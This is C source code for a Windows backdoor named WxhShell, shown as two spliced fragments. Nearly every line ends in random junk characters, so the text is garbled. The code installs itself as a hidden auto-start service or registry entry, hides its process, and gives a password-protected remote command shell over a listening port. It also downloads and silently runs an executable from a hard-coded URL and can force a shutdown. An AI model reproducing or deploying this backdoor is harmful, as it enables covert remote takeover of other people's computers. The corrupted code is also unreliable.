  case 'd': { tehWGqx)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XJwgh y?(  
    if(Boot(SHUTDOWN)) *xj2Z,u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  <pD  
    else { Z0XQ|gkH  
    closesocket(wsh); <y7Hy&&y-  
    ExitThread(0); -H|!KnR  
    } YV>&v.x0;  
    break; d@b2XCh<K  
    } eE;j#2SEO  
  // 获取shell VpY,@qh  
  case 's': { 8b4? O"  
    CmdShell(wsh); jJ'NYG  
    closesocket(wsh); "&;X/~j  
    ExitThread(0); *M>~$h7  
    break; :2wT)wz  
  } *1:kIi7_  
  // 退出 7;r3Bxa Q  
  case 'x': { 8$IUit h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y~#F\v  
    CloseIt(wsh); ;'[?H0Jw'  
    break; `JGW8 _  
    } %t74*cX  
  // 离开 M[-/&;`f@  
  case 'q': { bB*cd!7y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uG YH4  
    closesocket(wsh); &wu1Zz[qcz  
    WSACleanup(); Y$./!lVY  
    exit(1); ^\\9B-MvY  
    break; =`C K`x  
        }  Yg2P(  
  } K_.|FEV  
  } *;F<Q!i&v  
LFYSur8  
  // 提示信息 GyFA1%(o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~U:k4  
} e~R_bBQ0  
  } a6It1%a+  
YZ<5-C  
  return; k!WeE#"(  
} 2$o\`^dy  
x>A[~s"|N  
// shell模块句柄 m<*+^JN  
int CmdShell(SOCKET sock) !#e+!h@  
{ Q?`s4P)14o  
STARTUPINFO si; D})12qB;u9  
ZeroMemory(&si,sizeof(si)); \SYeDy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &#.>-D{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2Ib 1D  
PROCESS_INFORMATION ProcessInfo; sP=^5K`g  
char cmdline[]="cmd"; ]j$(so"  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mGF)Ot R  
  return 0; d+0= a]  
} yKm6 8n^  
I58$N+#  
// 自身启动模式 IfI:|w}:"r  
int StartFromService(void) 8&qtF.i-6  
{ *Z2Ko5&Y2  
typedef struct `ooHABC  
{ rx<P#y]3)  
  DWORD ExitStatus; =fB"T+  
  DWORD PebBaseAddress; :vaVghN\  
  DWORD AffinityMask; Wu8zK=Ve(  
  DWORD BasePriority; fZnq5rTk"  
  ULONG UniqueProcessId; Jv]$@>#  
  ULONG InheritedFromUniqueProcessId; wqzpFPk(  
}   PROCESS_BASIC_INFORMATION; "zqa:D26  
[l<&eI&ln  
PROCNTQSIP NtQueryInformationProcess; K(TejW#  
P1$D[aF9$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dAM]ZR<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ahr  
h b}QtQ  
  HANDLE             hProcess; GE !p  
  PROCESS_BASIC_INFORMATION pbi; W}%[i+  
6%wlz%Fp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "t-9q  
  if(NULL == hInst ) return 0; |=:hUp Jp  
r;wm`(e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z:2%gU&W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )?6%d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ={o)82LV  
:wUi&xw  
  if (!NtQueryInformationProcess) return 0; 8 ~Pdr]5  
D$TpT X\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O+=}x]q*y  
  if(!hProcess) return 0; z('t#J!b  
'UuHyC2Ha3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IQ xi@7%&  
D )Jac@,0  
  CloseHandle(hProcess); <P]%{msGH  
-"#jRP]#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _U^G*EqL*  
if(hProcess==NULL) return 0; vCOtED*<  
2gEF$?+q?  
HMODULE hMod; K&T.~2'>  
char procName[255]; z"FxKN~Z  
unsigned long cbNeeded; %<U0  
L2%D$!9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]bstkf}~u  
RfT)dS+rAh  
  CloseHandle(hProcess); y,qn9  
LIyb+rH#yg  
if(strstr(procName,"services")) return 1; // 以服务启动 wk1/&  
WB `h)  
  return 0; // 注册表启动 zp``e;gY  
} vM:c70=  
N]\)Ok  
// 主模块 r!|h3*YA  
int StartWxhshell(LPSTR lpCmdLine) Ip *8R]W  
{ Ev3,p`zS._  
  SOCKET wsl; 38:5g_  
BOOL val=TRUE; {7_C|z:'p&  
  int port=0; &78lep  
  struct sockaddr_in door; -uhVw_qq#  
.VohW=D3  
  if(wscfg.ws_autoins) Install(); >Dz8+y  
=hI;5KF  
port=atoi(lpCmdLine); TS=U%)Ik  
0E{DO<~  
if(port<=0) port=wscfg.ws_port; 7E5 =Qx  
\i<7Lk  
  WSADATA data; <@0S]jy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q6N?cQtOT  
pA_e{P/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rdAy '38g  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2|NQ5OA0  
  door.sin_family = AF_INET; Oa M~rze  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O]61guxro  
  door.sin_port = htons(port); - "{hP  
OgHqF,0MN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]M~ 7L[  
closesocket(wsl); I\IDt~  
return 1; FiXqypT_(  
} jc,Q g2  
-av=5hm  
  if(listen(wsl,2) == INVALID_SOCKET) { n{M-t@r7  
closesocket(wsl); K;>9K'n  
return 1; jBd=!4n  
}  J2Qt!-  
  Wxhshell(wsl); k$kxw_N5d  
  WSACleanup(); 5Z=GFKf|  
Il#ST  
return 0; S5YEz XG  
iI &z5Q2  
} ]c]^(C  
HC6v#-( `{  
// 以NT服务方式启动 (aq-aum-I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4i<GqG  
{ #wkSru&LS  
DWORD   status = 0; ZQ'|B  
  DWORD   specificError = 0xfffffff; hb9HVj  
Mf7 [@#$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vTL/% SJ8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `_BmVms  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BbPRPkV  
  serviceStatus.dwWin32ExitCode     = 0; [e{D  
  serviceStatus.dwServiceSpecificExitCode = 0; JEP9!y9y  
  serviceStatus.dwCheckPoint       = 0; $)KNpdXh  
  serviceStatus.dwWaitHint       = 0; SA%)xGRW  
cxx8I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '+c@U~d*7  
  if (hServiceStatusHandle==0) return; lAo4)  
Y3 -f68*(  
status = GetLastError(); (Bv~6tj~J  
  if (status!=NO_ERROR) gtqtFrleG  
{ S@TfZ3Go|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <Ynrw4[)t  
    serviceStatus.dwCheckPoint       = 0; <$C3] =2  
    serviceStatus.dwWaitHint       = 0; ,8cVv->u/  
    serviceStatus.dwWin32ExitCode     = status; +6^hp-G7  
    serviceStatus.dwServiceSpecificExitCode = specificError; NSq29#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JgV4-B0  
    return; H.o3d/8:  
  } =-qYp0sVP  
h<n2pz}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S,a:H*Hf  
  serviceStatus.dwCheckPoint       = 0; 0n={Mb  
  serviceStatus.dwWaitHint       = 0; %_~1(Glz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _SH~.Mt_!  
} h8;H<Y;yQ  
#/\Zo &V8  
// 处理NT服务事件,比如:启动、停止 Kk|)N3AV:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b'vIX< g  
{ j(M.7Z7^  
switch(fdwControl) K~fWZT3]  
{ nB/`~_9  
case SERVICE_CONTROL_STOP: R3.8Dr 0f  
  serviceStatus.dwWin32ExitCode = 0; AKS. XW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k7(lwEgNG  
  serviceStatus.dwCheckPoint   = 0; e2pFX?  
  serviceStatus.dwWaitHint     = 0; ?=HoU3  
  { vYq"W%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y$jc  
  } aY DM)b}  
  return; $yUPua/-  
case SERVICE_CONTROL_PAUSE: \3hFb,/4k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G-#rWZ&  
  break; 3-)R'  
case SERVICE_CONTROL_CONTINUE: X+ /^s)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6QNZ/Ox:  
  break; ,pUB[w\  
case SERVICE_CONTROL_INTERROGATE: HHOqJb{8S  
  break; :!FGvR6  
}; $2a_!/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &y-z[GR[{  
} 3PkU>+.6  
jY ;Hdb''  
// 标准应用程序主函数 c@KNyBy2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O>9-iqP>`d  
{ j{/5i`5m  
<X?xr f  
// 获取操作系统版本 /XdLdA!v  
OsIsNt=GetOsVer(); d^0-|sx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Bp4#"y2  
Fw^^sB  
  // 从命令行安装 +6L.a3&(b  
  if(strpbrk(lpCmdLine,"iI")) Install(); cb/$P!j7  
G}aM~,v  
  // 下载执行文件 y`cL3 xr4R  
if(wscfg.ws_downexe) { V|<'o<h8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &M=15 uCK  
  WinExec(wscfg.ws_filenam,SW_HIDE); ![eipOX  
} XG5"u  
3.rl^Cq1  
if(!OsIsNt) {  Gc;-zq  
// 如果时win9x,隐藏进程并且设置为注册表启动 L:.Rv0XT  
HideProc(); _P%PjFQ)  
StartWxhshell(lpCmdLine); Eks<O  
} (Sj<>xgd  
else QJI]@3 Y  
  if(StartFromService()) L\"eE'A  
  // 以服务方式启动 g9IIC5  
  StartServiceCtrlDispatcher(DispatchTable); jPg[LZQ'  
else 0QEcJ]Qb8  
  // 普通方式启动 TjpAJW@-  
  StartWxhshell(lpCmdLine); |:`)sx3@#  
lGJ&\Lv:  
return 0; C%/@U[;  
} V3/OKI\o  
X @7:FzU9  
.73sY5hdTN  
X3y28 %R   
=========================================== !"ydl2  
@}' ?o_/C  
~W3t(\B'  
I,r0K]  
.fK~IKA  
"po;[ Ia2  
" c#@L~<  
\t? ;p-+ta  
#include <stdio.h> !HXyvyDN  
#include <string.h> -1ci.4F&  
#include <windows.h> v(,YqT>q@U  
#include <winsock2.h> {RD9j1  
#include <winsvc.h> f3<253 1/}  
#include <urlmon.h> dx.Jv/Mb  
tw] l  
#pragma comment (lib, "Ws2_32.lib") dd4^4X`j  
#pragma comment (lib, "urlmon.lib") ho!qXS  
TnuA uui*  
#define MAX_USER   100 // 最大客户端连接数 WJ\,Y} J  
#define BUF_SOCK   200 // sock buffer 52r\Q}v$  
#define KEY_BUFF   255 // 输入 buffer j ~I_by  
4UN|`'c  
#define REBOOT     0   // 重启 5{-54mwo  
#define SHUTDOWN   1   // 关机 &0+Ba[Z ^  
Bo0T}P~  
#define DEF_PORT   5000 // 监听端口 V]Uc@7S/  
9rM#w"E?<  
#define REG_LEN     16   // 注册表键长度 _# &_`bZH  
#define SVC_LEN     80   // NT服务名长度 %xC}#RDf  
6f+@@=Xc  
// 从dll定义API !)`m mr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hl,x|.f}4Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HLqDI lL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sjHcq5#U!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q0L1!}w   
UAC"jy1D  
// wxhshell配置信息 I1p{(fJ  
struct WSCFG { /KlSI<T@  
  int ws_port;         // 监听端口 )1<GSr9  
  char ws_passstr[REG_LEN]; // 口令 BNixp[Hc  
  int ws_autoins;       // 安装标记, 1=yes 0=no D$`$4mX@hP  
  char ws_regname[REG_LEN]; // 注册表键名 OSwum!hzN  
  char ws_svcname[REG_LEN]; // 服务名 M0]J `fL@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LVy (O9g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b >'c   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O`;o"\P<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]v_u2f'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (62Sc]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -8S Z}J  
l?HC-_Pbh  
}; zGP@!R`_  
u\f Qa QV  
// default Wxhshell configuration k:&B b"  
struct WSCFG wscfg={DEF_PORT, Q@C  y\l  
    "xuhuanlingzhe", ! z5Ozm+}  
    1, - R`nitf  
    "Wxhshell", ;20sh^~  
    "Wxhshell", JRDIGS_~  
            "WxhShell Service", ^+Vf*YY 8  
    "Wrsky Windows CmdShell Service", /^`d o3a}  
    "Please Input Your Password: ", g? C<@  
  1, $Ut1vp1$  
  "http://www.wrsky.com/wxhshell.exe", 0aYoc-( A  
  "Wxhshell.exe" e )]  
    }; WKq{g+a  
^KQZ;[B  
// 消息定义模块 Z{_YH7_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I0_>ryA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2HDWlUTNVO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yz%o?%@  
char *msg_ws_ext="\n\rExit."; Yb'%J@T}  
char *msg_ws_end="\n\rQuit."; &#'.I0n  
char *msg_ws_boot="\n\rReboot..."; <"7Wb"+  
char *msg_ws_poff="\n\rShutdown..."; Pe@*')o*  
char *msg_ws_down="\n\rSave to "; >{"E~U  
= @lM*  
char *msg_ws_err="\n\rErr!"; xBE}/F$ 45  
char *msg_ws_ok="\n\rOK!"; SYgkYR  
I8\R7s3  
char ExeFile[MAX_PATH]; pwNF\ ={  
int nUser = 0; Z5"5Ge-M  
HANDLE handles[MAX_USER]; ,fhK  
int OsIsNt; RZ?abE8  
nMBF/75  
SERVICE_STATUS       serviceStatus; X//=OpS`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; yY"n:&T(  
-e_pw,5c '  
// 函数声明 }?9A:&  
int Install(void); Ag;Ybk[  
int Uninstall(void); Hr*xAx  
int DownloadFile(char *sURL, SOCKET wsh); 2xv[cpVi  
int Boot(int flag); Q|7m9~  
void HideProc(void); j!IkU}*c  
int GetOsVer(void); &HqBlRo  
int Wxhshell(SOCKET wsl); f/sLQdK,  
void TalkWithClient(void *cs); -E.fo._L5  
int CmdShell(SOCKET sock); :VX2&*  
int StartFromService(void); BfDC[(n`  
int StartWxhshell(LPSTR lpCmdLine); L!Gpk)}[i  
nlc$"(eA[H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CZkmd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {-hu""x>  
5GURfG3{  
// 数据结构和表定义 F1% ^,;  
SERVICE_TABLE_ENTRY DispatchTable[] = I-W ,C &J>  
{ D*g K,`  
{wscfg.ws_svcname, NTServiceMain}, w$jSlgUHy)  
{NULL, NULL} :bq UA(k  
}; "XU)(<p  
U(hIT9  
// 自我安装 $Q=S`z=  
int Install(void) 9x#T j/5%  
{ .cr<.Ov  
  char svExeFile[MAX_PATH]; zOYG`:/'  
  HKEY key; <ti,Wn.  
  strcpy(svExeFile,ExeFile); 9r 5(  
I.U=%{.  
// 如果是win9x系统,修改注册表设为自启动 SgQ(#y|vV  
if(!OsIsNt) { FMT_X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HcGbe37Xq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  *1 *i5c  
  RegCloseKey(key); sl)]yCD|5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 ;Uc -<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (XV+aQ\A  
  RegCloseKey(key); r%`3*<ALV)  
  return 0; D@m3bsMwe  
    } !^Q4ZL,-  
  } ;Ao`yC2(v  
} l=<},_]{  
else { u&e?3qKX(  
w3"%d~/[x  
// 如果是NT以上系统,安装为系统服务 }wC=p>zA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tz7|OV_W$  
if (schSCManager!=0) i4)]lWnd  
{ FaKZ|~Y e  
  SC_HANDLE schService = CreateService 7s 0pH+  
  ( )g ?'Nz  
  schSCManager, ?v&2^d4C*F  
  wscfg.ws_svcname, !j9(%,PR  
  wscfg.ws_svcdisp, p\tA&>3-  
  SERVICE_ALL_ACCESS, .+5;AtN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hSaw)g`w  
  SERVICE_AUTO_START, dA0o{[o=  
  SERVICE_ERROR_NORMAL, fjm 3X$tR  
  svExeFile, Y0ACJ?|  
  NULL, >KJE *X@s  
  NULL, A" IaFXB  
  NULL, S"@@BQ#mf  
  NULL, e4;h*IQK  
  NULL ;ao <{i?  
  ); 03!#99  
  if (schService!=0) E4<#6q  
  { g+-^6UG  
  CloseServiceHandle(schService); ]!2[kA-  
  CloseServiceHandle(schSCManager); ESuP ZB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pJ/{X=y  
  strcat(svExeFile,wscfg.ws_svcname); +ux`}L(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1/A|$t[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5qkyi]/U8  
  RegCloseKey(key); l=47#zbpZ]  
  return 0; sRflabl *x  
    } _Bhd@S!  
  } ;6`7 \  
  CloseServiceHandle(schSCManager); Kn}Y7B{  
} pAyUQe;X#  
} 4Td)1~zc3  
)#,a'~w  
return 1; h3Nbgxa.  
} Sb`SJ):x  
fdgjTX  
// 自我卸载 BipD8`a  
int Uninstall(void) X&A2:A 6\+  
{ F`.W 9H3  
  HKEY key; BfQ#5  
&0OH:P%  
if(!OsIsNt) { B. #-@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >bg{  
  RegDeleteValue(key,wscfg.ws_regname); vhN6_XD  
  RegCloseKey(key); .GvZv>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {T3wOi  
  RegDeleteValue(key,wscfg.ws_regname); X @X`,/{X  
  RegCloseKey(key); 4hW:c0  
  return 0; tD]vx`0>  
  } LftzW{>gI"  
} 5?TX.h9B4  
} )9+H[  
else { Jjh=zxR>  
VgMuX3=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ee=!bv(%70  
if (schSCManager!=0) iGNZC{  
{ 9<5ii  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); h#u k-7  
  if (schService!=0) Cm-dos  
  { h2 >a_0"  
  if(DeleteService(schService)!=0) { MF +F8h>/  
  CloseServiceHandle(schService); x/%/MFK)>8  
  CloseServiceHandle(schSCManager); _;:B@Z  
  return 0; j{H IdP  
  } ;kD Rm'(  
  CloseServiceHandle(schService); 0I*{CVTQj  
  } ;>Z0e`=  
  CloseServiceHandle(schSCManager); vH6.;j'^  
} TU9$5l/;g  
} th+LScOX  
~2QD.(  
return 1; hjp,v)#  
} `r0MQkk  
T!>sL=uf  
// 从指定url下载文件 r`PD}6\  
int DownloadFile(char *sURL, SOCKET wsh) +SkfT4*U  
{ ePTxuCf>  
  HRESULT hr; P} Y .  
char seps[]= "/"; 8[oZ>7LMzC  
char *token; !)FKF7'  
char *file; m2Wi "X(I_  
char myURL[MAX_PATH]; J?f7!F:8  
char myFILE[MAX_PATH]; :v^OdW  
/Y| <0tq  
strcpy(myURL,sURL); ^C;ULUn3  
  token=strtok(myURL,seps); |43Oc:Ah+  
  while(token!=NULL) i \@a&tw  
  {  r^,"OM]  
    file=token; #}[NleTVt  
  token=strtok(NULL,seps); KqXPxp^_Al  
  } Lo}zT-F  
iL'j9_w,  
GetCurrentDirectory(MAX_PATH,myFILE); l^rQo_alk  
strcat(myFILE, "\\"); z!)@`?  
strcat(myFILE, file); c>wn e\(5H  
  send(wsh,myFILE,strlen(myFILE),0); v R ! y#  
send(wsh,"...",3,0); 4C9k0]k2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \Z-Fu=8J8^  
  if(hr==S_OK) w+hpi5OH  
return 0; |^OK@KdL1  
else Uq.hCb`:  
return 1; % ejq|i7  
BxesoB  
} <6C:\{eo  
)%HIC@MM6  
// 系统电源模块 ^_uCSA'X  
int Boot(int flag) E*QLw* H  
{ ;+lsNf  
  HANDLE hToken; :13u{5:th  
  TOKEN_PRIVILEGES tkp; V/yj.aA*@  
Sea6xGdq  
  if(OsIsNt) { Nu+DVIM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); JG{`tTu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rg I Z  
    tkp.PrivilegeCount = 1; 2Vx x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c;88Wb<|W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )<.y{_QUN  
if(flag==REBOOT) { '-P+|bZW4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dAi.^! !  
  return 0; WLCr~r^  
} J#\oc@  
else { W4)bEWO+q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yn.[-  
  return 0; TpxAp',#7  
} u"DE?  
  } CM)V^k*  
  else { ?3<Y/Vg%c  
if(flag==REBOOT) { Fp>nu_-"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LXf|n  
  return 0; 40 zO4  
} c,}VC-  
else { xggF:El3{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \9]- (j6[H  
  return 0; n'!x"O7  
}  Au*1-  
} xxOhGA)  
V9wL3*  
return 1; %{0F.  
} rnBp2'EM  
8( bK\-b  
// win9x进程隐藏模块 dEam|  
void HideProc(void) sk@aOv'*(  
{ d"thM  
nY,LQ0r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m,ur{B8 :  
  if ( hKernel != NULL ) o 80x@ &A:  
  { {HjJ9ZGQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c!mMH~#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6#HnA"I2n  
    FreeLibrary(hKernel); N3w y][bo  
  } hz5t/E  
Q<(aU{  
return; w7f)v\p  
} 7yOBxb   
sY?sQ'E2]  
// 获取操作系统版本 ){KrBaGa4  
int GetOsVer(void) tMyMA}`  
{ }$s QmR R  
  OSVERSIONINFO winfo; :bXTV?#0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t|*UlTLm  
  GetVersionEx(&winfo); G^#? ~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [C@ Ro,mI  
  return 1; \p!m/2  
  else l|M|;5TW  
  return 0; }Ggn2 X  
} _WI~b  
ZHCrKp  
// 客户端句柄模块 A>\3FeU>UC  
int Wxhshell(SOCKET wsl) (R(NEN  
{ Bk5ft4v-  
  SOCKET wsh; !p_l(@f  
  struct sockaddr_in client; }sp?@C,Z  
  DWORD myID; AnpO?+\HF  
;Hb"SB  
  while(nUser<MAX_USER) =>7czw:S 1  
{ /Z]hX*QR  
  int nSize=sizeof(client); 4G RHvA.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /bmkt@$-0  
  if(wsh==INVALID_SOCKET) return 1; xM/WS':V  
P1<McQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c)c_Qv  
if(handles[nUser]==0) u\km_e  
  closesocket(wsh); hPUZ{#;n  
else LYTnMrM  
  nUser++; }TDq7-(g  
  } _B\87e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U\>k>|Jr{  
{vur9L  
  return 0; rym*W\AWx  
} #r]GnC,  
C}\kp0mz  
// 关闭 socket .:tR*Kst`7  
void CloseIt(SOCKET wsh) "WH &BhQYD  
{ wkT4R\H>  
closesocket(wsh); [5Zi\'~UH)  
nUser--; 'lmjZ{k  
ExitThread(0); l !ZzJ&  
} muO;g&  
^tVIPH.R  
// 客户端请求句柄 ?28)l 4 Ml  
void TalkWithClient(void *cs) In*0.   
{ {fMo#`9=  
Z1wfy\9c8  
  SOCKET wsh=(SOCKET)cs; :)Da^V  
  char pwd[SVC_LEN]; Me^L%%: @  
  char cmd[KEY_BUFF]; =q[ynZ8O\w  
char chr[1]; 1"T&B0G3l  
int i,j; E cd~H+  
rK4 pYo  
  while (nUser < MAX_USER) { ?S.LGc  
B9'2$s+Z;  
if(wscfg.ws_passstr) { S}K-\[i?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Y/8gD~.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .[Ny(X/]/}  
  //ZeroMemory(pwd,KEY_BUFF); Gz7,g Y  
      i=0; &+/$~@OK  
  while(i<SVC_LEN) { Zm#,Ike?#  
GD!!xt  
  // 设置超时 +:u &]  
  fd_set FdRead; NSQ)lSW,;  
  struct timeval TimeOut; M* dou_Q  
  FD_ZERO(&FdRead); Qd}h:U^  
  FD_SET(wsh,&FdRead); '(8} <(%  
  TimeOut.tv_sec=8; dCzS f4:  
  TimeOut.tv_usec=0; jjg&C9w T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w# ;t$qz}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l!IN#|{(  
Ub[UB%(T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OO;I^`Yn  
  pwd=chr[0]; o^u}(wZ{  
  if(chr[0]==0xd || chr[0]==0xa) { =E&1e;_xlE  
  pwd=0; e(9K.3 @{  
  break; e{.P2rnh  
  } xP 3>8Y  
  i++; SnoEi~Da  
    } r1sA^2g.  
t_qX7P8+'  
  // 如果是非法用户,关闭 socket ##U/Wa3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y <P1VES  
} `Vh&XH\S  
;\iu*1>Z,&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yRz l}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YwJ<0;:+hS  
:oJ!9\5  
while(1) { 0:eK}tC  
b=:%*gq,  
  ZeroMemory(cmd,KEY_BUFF); o|V=3y Ok  
qtp-w\#S$  
      // 自动支持客户端 telnet标准   C(}Kfi@6N  
  j=0; n'@XgUI,  
  while(j<KEY_BUFF) { Ky{C;7X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~P9^4  
  cmd[j]=chr[0]; EtDzmpJR>  
  if(chr[0]==0xa || chr[0]==0xd) { O! w&3 p  
  cmd[j]=0; ?$b*)<  
  break; 7[8d-Sf24{  
  } g]._J  
  j++; 5 ~"m$/yE  
    } ZMch2 U8  
3UJSK+d\  
  // 下载文件 ak(P<OC-  
  if(strstr(cmd,"http://")) { #}8gHI-9%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gn[h:+H&  
  if(DownloadFile(cmd,wsh)) N0fmC*1-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u6*mHkM  
  else b>| d Q  
